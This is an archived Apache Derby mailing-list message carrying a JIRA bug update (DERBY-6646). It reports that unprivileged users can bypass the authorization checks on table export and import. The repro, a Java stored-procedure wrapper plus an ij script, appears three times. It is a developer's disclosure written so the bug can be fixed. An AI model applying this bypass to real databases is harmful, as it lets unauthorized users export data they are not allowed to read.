db-derby-dev mailing list archives

Site index · List index
Message view « Date » · « Thread »
Top « Date » · « Thread »
From "Rick Hillegas (JIRA)" <j...@apache.org>
Subject [jira] [Updated] (DERBY-6646) Applications can bypass the authorization checks on SYSCS_EXPORT_TABLE and SYSCS_IMPORT_TABLE by calling Export.exportTable() and Import.importTable() directly
Date Wed, 02 Jul 2014 16:35:25 GMT

     [ https://issues.apache.org/jira/browse/DERBY-6646?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]

Rick Hillegas updated DERBY-6646:
---------------------------------

    Description: 
By default, only the DBO can call SYSCS_EXPORT_TABLE and SYSCS_IMPORT_TABLE. But applications
can bypass these authorization check by calling Export.exportTable() and Import.importTable()
directly. 

Here's a repro for the bypassing of SYSCS_EXPORT_TABLE. I think that the repro for SYSCS_IMPORT_TABLE
is similar. First compile this class...

{noformat}
import java.sql.*;
import org.apache.derby.impl.load.Export;

public class ExportWrapper
{
    public  static  void    export
        (
         String schemaName, 
         String tableName, String outputFileName,  
         String columnDelimiter, String characterDelimiter,
         String codeset
         )
        throws Exception
    {
        Connection  conn = DriverManager.getConnection( "jdbc:default:connection" );
        
        Export.exportTable
            ( conn, schemaName, tableName, outputFileName, columnDelimiter, characterDelimiter,
codeset );
    }
}
{noformat}

…then run this script:

{noformat}
connect 'jdbc:derby:memory:db;create=true';

connect 'jdbc:derby:memory:db1;create=true;user=test_dbo';

call syscs_util.syscs_create_user( 'TEST_DBO', 'test_dbopassword' );
call syscs_util.syscs_create_user( 'RUTH', 'ruthpassword' );

-- shutdown in order to enable NATIVE authentication
connect 'jdbc:derby:memory:db1;shutdown=true';

connect 'jdbc:derby:memory:db1;user=ruth;password=ruthpassword' as ruth;

create table t( a int );
insert into t( a ) values ( 1 );

create procedure exportWrapper
(
  in schemaname  varchar(128),
  in tablename varchar(128),
  in filename varchar(32672),
  in columndelimiter char(1),
  in characterdelimiter char(1),
  in codeset VARCHAR(128)
)
language java parameter style java reads sql data
external name 'ExportWrapper.export';

-- ruth lacks privilege to export the table
call syscs_util.syscs_export_table( null, 'T', 'z.dat', null, null, null );

-- but ruth can bypass authorization checks by directly calling Export.exportTable()
-- inside this procedure
call exportWrapper( null, 'T', 'z.dat', null, null, null ); 
{noformat}



  was:
By default, only the DBO can call SYSCS_EXPORT_TABLE. But applications can bypass that authorization
check by calling Export.exportTable() directly. 

Here's a repro. First compile this class...

{noformat}
import java.sql.*;
import org.apache.derby.impl.load.Export;

public class ExportWrapper
{
    public  static  void    export
        (
         String schemaName, 
         String tableName, String outputFileName,  
         String columnDelimiter, String characterDelimiter,
         String codeset
         )
        throws Exception
    {
        Connection  conn = DriverManager.getConnection( "jdbc:default:connection" );
        
        Export.exportTable
            ( conn, schemaName, tableName, outputFileName, columnDelimiter, characterDelimiter,
codeset );
    }
}
{noformat}

…then run this script:

{noformat}
connect 'jdbc:derby:memory:db;create=true';

connect 'jdbc:derby:memory:db1;create=true;user=test_dbo';

call syscs_util.syscs_create_user( 'TEST_DBO', 'test_dbopassword' );
call syscs_util.syscs_create_user( 'RUTH', 'ruthpassword' );

-- shutdown in order to enable NATIVE authentication
connect 'jdbc:derby:memory:db1;shutdown=true';

connect 'jdbc:derby:memory:db1;user=ruth;password=ruthpassword' as ruth;

create table t( a int );
insert into t( a ) values ( 1 );

create procedure exportWrapper
(
  in schemaname  varchar(128),
  in tablename varchar(128),
  in filename varchar(32672),
  in columndelimiter char(1),
  in characterdelimiter char(1),
  in codeset VARCHAR(128)
)
language java parameter style java reads sql data
external name 'ExportWrapper.export';

-- ruth lacks privilege to export the table
call syscs_util.syscs_export_table( null, 'T', 'z.dat', null, null, null );

-- but ruth can bypass authorization checks by directly calling Export.exportTable()
-- inside this procedure
call exportWrapper( null, 'T', 'z.dat', null, null, null ); 
{noformat}




> Applications can bypass the authorization checks on SYSCS_EXPORT_TABLE and SYSCS_IMPORT_TABLE
by calling Export.exportTable() and Import.importTable() directly
> ---------------------------------------------------------------------------------------------------------------------------------------------------------------
>
>                 Key: DERBY-6646
>                 URL: https://issues.apache.org/jira/browse/DERBY-6646
>             Project: Derby
>          Issue Type: Bug
>          Components: SQL
>            Reporter: Rick Hillegas
>
> By default, only the DBO can call SYSCS_EXPORT_TABLE and SYSCS_IMPORT_TABLE. But applications
can bypass these authorization check by calling Export.exportTable() and Import.importTable()
directly. 
> Here's a repro for the bypassing of SYSCS_EXPORT_TABLE. I think that the repro for SYSCS_IMPORT_TABLE
is similar. First compile this class...
> {noformat}
> import java.sql.*;
> import org.apache.derby.impl.load.Export;
> public class ExportWrapper
> {
>     public  static  void    export
>         (
>          String schemaName, 
>          String tableName, String outputFileName,  
>          String columnDelimiter, String characterDelimiter,
>          String codeset
>          )
>         throws Exception
>     {
>         Connection  conn = DriverManager.getConnection( "jdbc:default:connection" );
>         
>         Export.exportTable
>             ( conn, schemaName, tableName, outputFileName, columnDelimiter, characterDelimiter,
codeset );
>     }
> }
> {noformat}
> …then run this script:
> {noformat}
> connect 'jdbc:derby:memory:db;create=true';
> connect 'jdbc:derby:memory:db1;create=true;user=test_dbo';
> call syscs_util.syscs_create_user( 'TEST_DBO', 'test_dbopassword' );
> call syscs_util.syscs_create_user( 'RUTH', 'ruthpassword' );
> -- shutdown in order to enable NATIVE authentication
> connect 'jdbc:derby:memory:db1;shutdown=true';
> connect 'jdbc:derby:memory:db1;user=ruth;password=ruthpassword' as ruth;
> create table t( a int );
> insert into t( a ) values ( 1 );
> create procedure exportWrapper
> (
>   in schemaname  varchar(128),
>   in tablename varchar(128),
>   in filename varchar(32672),
>   in columndelimiter char(1),
>   in characterdelimiter char(1),
>   in codeset VARCHAR(128)
> )
> language java parameter style java reads sql data
> external name 'ExportWrapper.export';
> -- ruth lacks privilege to export the table
> call syscs_util.syscs_export_table( null, 'T', 'z.dat', null, null, null );
> -- but ruth can bypass authorization checks by directly calling Export.exportTable()
> -- inside this procedure
> call exportWrapper( null, 'T', 'z.dat', null, null, null ); 
> {noformat}



--
This message was sent by Atlassian JIRA
(v6.2#6252)

Mime
View raw message